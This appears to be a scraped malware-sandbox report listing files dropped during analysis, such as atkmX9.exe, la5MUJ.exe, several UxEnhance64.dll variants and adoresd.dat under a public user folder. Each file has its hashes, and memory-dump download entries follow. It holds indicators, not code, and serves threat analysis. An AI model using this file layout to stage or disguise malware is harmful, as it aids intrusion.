SSDEEP 3072:VuDVfyYAkejiAJphPDdCpcB3CFtM+qOuF6cdmFyrf/snch8O1E4tb:VGfQzVDspcR5LOuFQyDsy8O3
TLSH
T132F312E153D70D1AED00B9715A5C769D72FB66EC468B4E1AD8C1B4C6A83A2F0303E5CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

atkmX9.exe

Path C:\Program Files (x86)\atkmX9\atkmX9.exe
Size 92KB
SHA256 a2bbe3c70ee75085a76dbf60f8b72b289791f3e4995485489650fb6be62e38f6
MD5 c021e5510682bd1d2673891b2aa01ecc
SHA1 681ae7ef8c1233b12da1df07a54231ddf47974ae
SHA512 aa48d011e3c84c2ce7f2cfa68ab6fba58bab2fff633d5edd3d24b393a6cfa72f7e347c65d4b3d0e78a27059791b3bdfafe9156318e2e06f9e8de85b4dd1d8dfb
SSDEEP 1536:AOJ5kh1iOUcZGuYDKM95YRTqWLGzwzzBCLHvaOkYrofdRsW+3cdxtBQDTCCvtV:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCK
TLSH
T180931B52B6D19475DB7A1B310864C9614A6EFD300E60AE6FF3783D3B1E305838E2796E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

atkmX9.exe

Path C:\Program Files (x86)\atkmX9\atkmX9.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

atkmX9.exe

Path C:\Program Files (x86)\atkmX9\atkmX9.exe
Size 64KB
SHA256 902fe3ed76b55662149178435f684ff1634c94074a1d9fcb66bc3ae8c468f3f5
MD5 384982614b017bcbcebb51b54afa371d
SHA1 6a5592a9929f525920606abde0f40df73ee02af7
SHA512 64ea526e9c2b703ef4ef23e6f125cacea265beb9b04e5c4e8f7a0ebb44dbf6433e7e9aa9c5e8e754f21f681d1577510126ef680acfba13bf356eac31666634bf
SSDEEP 1536:AOJ5kh1iOUcZGuYDKM95YRTqWLGzwzzBCLHvaOkYrofdRsW+b:VafgcZGuY2TqWLGzwRC7kll2
TLSH
T144535B96F5D15071D9A7293254A88EB18F3EED601B619EAF435814371F306C0CE3AA7F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\atkmX9\image.png
Size 332KB
SHA256 3411c99e22233df42be285700bafb56a61eb61e1818ab38baf5e0c0812a1bd0e
MD5 dea0416928e1b7fa44718dca569ca814
SHA1 3f5e5a5964ffd48dd110a39c916ef1ee5f45a16e
SHA512 4419e42316b4d2c4825a11a3b270b40b52128e562c5c9f18266f033a5fb72062be92acf5e83a641837a456c57aaeeeffa734c26b5c3f64901602aff6185f0806
SSDEEP 6144:9+V4yNG2zkYXCOHU3sGLZTNHgrrEhU37HsoZsUoU9dNsLA9cmuE4Lq9SbWr0Qays:90Q2dXCOHU3sGLZ5krJHNWPUH2ZrbWCp
TLSH
T1B874220FDAA62EAD94C1F01B91074CD0772E97A1C1C53D7560A6BE2AFE1811FF09A17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\atkmX9\thumbs.db
Size 186KB
SHA256 c83adcb06f09dc74acf8aea2f68e5bf6cd44fb979dceb7a491de90d15d00917d
MD5 7b0813b19d1a201eac6a9b704be53ac6
SHA1 dc4335d76d9fa3f6645534f363adf97221c4b524
SHA512 1747bb76d7721b056e7443d26780b878ea092baf866d1f70f4735ae9fe7cd72de48151ae07c2f3331427acbe75869518eeb8d126aae5d1b7c1a5d2d75d53939c
SSDEEP 3072:eHOKbHuACkEJOfY56psul290aneNoSRowxHWxvVJRyzD1omzJPur4otREg:ciACk/u6n9aBOmmD1oQFu0o/
TLSH
T11C14F2A8A5912EEB0E179BACF04F186F998F98E713D900162FF1C5D1CE106E5904FD6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 bd7f44099107608c830ad82dd38d521761a7af525c56019bce78af2424087005
MD5 88aaa61f22f0299112b58031736b4f3a
SHA1 7606b7d2d51a3492a49d6b91d2515b2e58b82779
SHA512 e9523eba679f9dbc2ba55cbdad193e516ae8f2eb4352e043d4e44b79b5e731f02ce16ecafab30dff5fb12c5d4144ba848e6ccaaeac55d51a328abcdb0fe2e777
TLSH
T1E731C6BB1F6D7D83CB368D9015CAE0232CF5D190ACC9544F2161C0649F083732E09E0C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 f7fae779f86b90ec2c6c26def3891ecbe2a90b668b84338f6d8cd12c86426df5
MD5 db04d6810c95d2971c61cf93471eeb3a
SHA1 043e93588faa5ab3de05cc6348b9e34676a2c73a
SHA512 fba31a622dc6b30a581ecf1fab1c414373754d7debdb8d56d8fce5c3f28d6ad3aef31bbb78aac5e6751c02da03caff04a1bdc7dae428e8d9e5a3edb5d0c658cf
TLSH
T17631C69346276D0BEF51CF2959E9DE323DB013E275B57A94D039D39B4004BA70F59448
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 2489af284b61d003b6627d4760ea45736106ab66f68ebc0beced14be6b7041af
MD5 eabbcacd8d2b6c639f6db2b741456b8c
SHA1 60403ffe5be448a11040a6e912bdd2e862743019
SHA512 f70a990b2a199f1d8eed16d2e2d2e497be04c5c0ac99646e9ba29bf671bf9371f44f69cf007b77b400b382583f1b78999ad6cc3ca1c030b6198f54fbca67a4c8
TLSH
T10BF0541C487D813DF132E53887DD3995667BE719340645E407F5470C9D427027DA297D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 e4261650b9af662cf3853f0170fe7d5a042f948c1e3f87feb6c25a44f4e77ffb
MD5 cf8a0975287da9d2d6e924301a52e975
SHA1 b5c3e85251f21d8a511095ed8156b750e876d08d
SHA512 076cca2945874c7b133f3abbde031e44e9fcc7996c797ae6f4a06260136fcd6949cdbcde7a4a73fb25c422bb3505f13a4ee9f443432545edf61ab61fc0b859c7
TLSH
T1ECF0233805D8012FF1BBC1F446DA72B1BE65F333100765BE0FA603041A51C015C41B3D
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_idpkovvs.14o.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_idpkovvs.14o.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\4VhOaq\UxEnhance64.dll
Size 3.1MB
SHA256 659fbe879ee7884309992e540973987ec5609906bd15a8c4fd9a7b73aeb66b83
MD5 a9fc7e623ca90abb2a6bbc264cb89a71
SHA1 3d2bc05ca0bf73a0a23a528fca519879bad8b1f0
SHA512 ff23e8f8f32a9baa9660d4798e2946360228db33932abdac4e6dd312b12b5128d8f1a33b269fe6ccd9a1114fd74852fb527e1a8f16f4439bd7e948e480b8f1a1
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+C:P9m29xx3Tiqt06ox6+z2rNNrKoC
TLSH
T1E3E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\4VhOaq\UxEnhance64.dll
Size 2.7MB
SHA256 85934e162862dff2dc0daefa78d9ab498d68f5d7058b46ac0ba5ddffe839fdcc
MD5 9d1c6ef4f73420ecf9ae4985b7f97a62
SHA1 025b6a5fdbfee8501e11779799bf551ced52620c
SHA512 9beafc29d3a125ca632df3089178c518357cfcb939069cb1a2fc03518c6c24e6718b610cba151ce4aa76168d002e4e9b432f0c0f53d8dfe0c0f691e0df76ae17
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizB6:P9m29xx3Tiqt06ox6+zw
TLSH
T1DAD533B933E738F3F4361AB8EE7493C92D242E107F13285F6B1620465A981B9C75A7D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\4VhOaq\UxEnhance64.dll
Size 885KB
SHA256 c05c9fc7dfa3383001f8a2f66c137833831824f02824a8fbe1eee4174e4a0a9c
MD5 194ff3a608c061990dbaa8a96d29f55a
SHA1 02c3e0267fa1d47252f63a25322995e05d7609ce
SHA512 ae54f38afe3749c883b5b94a52a38bc2995f1429caa24b9ddd973bc451ecd6e5aa746db1d4942f0343d8c8273feb179b71d8d7ac2135507f9f4fb5d13d561651
SSDEEP 24576:WTa0QKHReqZIMlcseQCIHfrPqxkglC6BKVu/ayHXBTswk:P9KpI8cBa0kj6BK0x3Tk
TLSH
T1151522B463A779F3E47666F4FE31D2D218101E207F43908F5B43204E465E2F697AA3A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\4VhOaq\adoresd.dat
Size 3.5MB
SHA256 40e1de1bd121c763969389fb0e706a40a0457f1737eac7ef3b20ed51dce1193e
MD5 fac1e52595f6a5a51b8234623884c335
SHA1 ca1bb02c89d2209526b3b9b9059e744580c84212
SHA512 afe9249df807ecbf6a9319e5715f05bc9a890823f9460e08e073e98af33069fd5f6e0b1678b20db8d28f6e0a4351b32232527c8d48af6b205bf93baa93d2f8fd
SSDEEP 98304:5Wjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuFJ:5Wj3WRdRQH5fimPGmNcJ
TLSH
T1D2F533DF1A82F95FA943315354C9B064AE6E76C970C97BEE6DB8C4F3D32705908AC248
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

la5MUJ.exe

Path C:\Users\Public\4VhOaq\la5MUJ.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\4VhOaq\msadox.tb
Size 8KB
SHA256 2b2b638b6bf605281091dde8c5f7955c3c302af157c7e621d69d1d391d412b67
MD5 e2c82afe5d3a4994f518de675482302b
SHA1 148f049e3a4b9e1b264dca0da9f0e8c1031d0c46
SHA512 b9c6ab7af79a443ebc923d06414abb3a1b14cf36265b636fa479d834fc392512367e2ad957be0641f564c03b0462a0dc44e46a62b0161a61c0d95c141951192d
SSDEEP 192:sqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ssZqZOXQ3uqvR2Kfzp
TLSH
T1DC029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2016-683-0x0000000074850000-0x0000000074F9A000-memory.dmp

Download

memory/2016-701-0x00000000032C0000-0x00000000032D4000-memory.dmp

Download

memory/2016-694-0x0000000003CD0000-0x00000000044AD000-memory.dmp

Download

memory/2016-682-0x0000000001710000-0x0000000001711000-memory.dmp

Download

memory/2016-689-0x0000000001730000-0x0000000001731000-memory.dmp

Download

memory/2016-690-0x0000000003CD0000-0x00000000044AD000-memory.dmp

Download

memory/2016-714-0x0000000003CD0000-0x00000000044AD000-memory.dmp

Download

memory/2016-742-0x0000000003CD0000-0x00000000044AD000-memory.dmp

Download

memory/2016-687-0x0000000003CD0000-0x00000000044AD000-memory.dmp

Download

memory/3644-582-0x000001D5D6AF0000-0x000001D5D73C7000-memory.dmp

Download

memory/3644-598-0x000001D5D6AF0000-0x000001D5D73C7000-memory.dmp

Download

memory/3644-600-0x000001D5D6AF0000-0x000001D5D73C7000-memory.dmp

Download

memory/3644-603-0x00007FFDE6EF0000-0x00007FFDE6EF2000-memory.dmp

Download

memory/3644-579-0x00007FFDC6F60000-0x00007FFDC747E000-memory.dmp

Download

memory/3644-599-0x000001D5D6AF0000-0x000001D5D73C7000-memory.dmp

Download

memory/3644-597-0x000001D5D6AF0000-0x000001D5D73C7000-memory.dmp

Download

memory/3644-592-0x00007FFDE6F00000-0x00007FFDE6F02000-memory.dmp

Download

memory/3644-593-0x000001D5D6AF0000-0x000001D5D73C7000-memory.dmp

Download

memory/3780-558-0x00000285E2990000-0x00000285E29DE000-memory.dmp

Download

memory/3780-543-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/3780-531-0x00007FFDC6F60000-0x00007FFDC747E000-memory.dmp

Download

memory/3780-530-0x00007FFDE6EF0000-0x00007FFDE6EF2000-memory.dmp

Download

memory/3780-560-0x00000285E2E40000-0x00000285E2ECA000-memory.dmp

Download

memory/3780-559-0x00000285E2E40000-0x00000285E2ECA000-memory.dmp

Download

memory/3780-537-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/3780-538-0x00007FFDE6F00000-0x00007FFDE6F02000-memory.dmp

Download

memory/3780-539-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/3780-565-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/3780-564-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/3780-562-0x00000285E2E40000-0x00000285E2ECA000-memory.dmp

Download

memory/3780-561-0x00000285E2E40000-0x00000285E2ECA000-memory.dmp

Download

memory/3780-550-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/3780-546-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/3780-545-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/3780-544-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/3780-556-0x00000285E2010000-0x00000285E28E7000-memory.dmp

Download

memory/4404-613-0x000001EF1FE00000-0x000001EF1FE0A000-memory.dmp

Download

memory/4404-611-0x000001EF1FD40000-0x000001EF1FDF2000-memory.dmp

Download

memory/4404-602-0x000001EF1FA80000-0x000001EF1FAA2000-memory.dmp

Download

memory/4404-610-0x000001EF1FD20000-0x000001EF1FD3E000-memory.dmp

Download

memory/4784-2-0x0000000002060000-0x000000000206C000-memory.dmp

Download

memory/4784-0-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/4784-524-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/4784-525-0x00007FFDDEC90000-0x00007FFDDECA2000-memory.dmp

Download

memory/4784-504-0x00007FFDDEC90000-0x00007FFDDECA2000-memory.dmp

Download

memory/4784-1-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/5600-718-0x00000000009E0000-0x00000000009E1000-memory.dmp

Download

memory/5600-744-0x0000000002FB0000-0x000000000378D000-memory.dmp

Download

memory/5600-719-0x0000000074850000-0x0000000074F9A000-memory.dmp

Download

memory/6104-747-0x0000000003280000-0x0000000003A5D000-memory.dmp

Download

memory/6104-738-0x0000000073C90000-0x00000000743DA000-memory.dmp

Download

memory/6104-734-0x00000000025F0000-0x00000000025F1000-memory.dmp

Download

memory/6104-754-0x0000000003280000-0x0000000003A5D000-memory.dmp

Download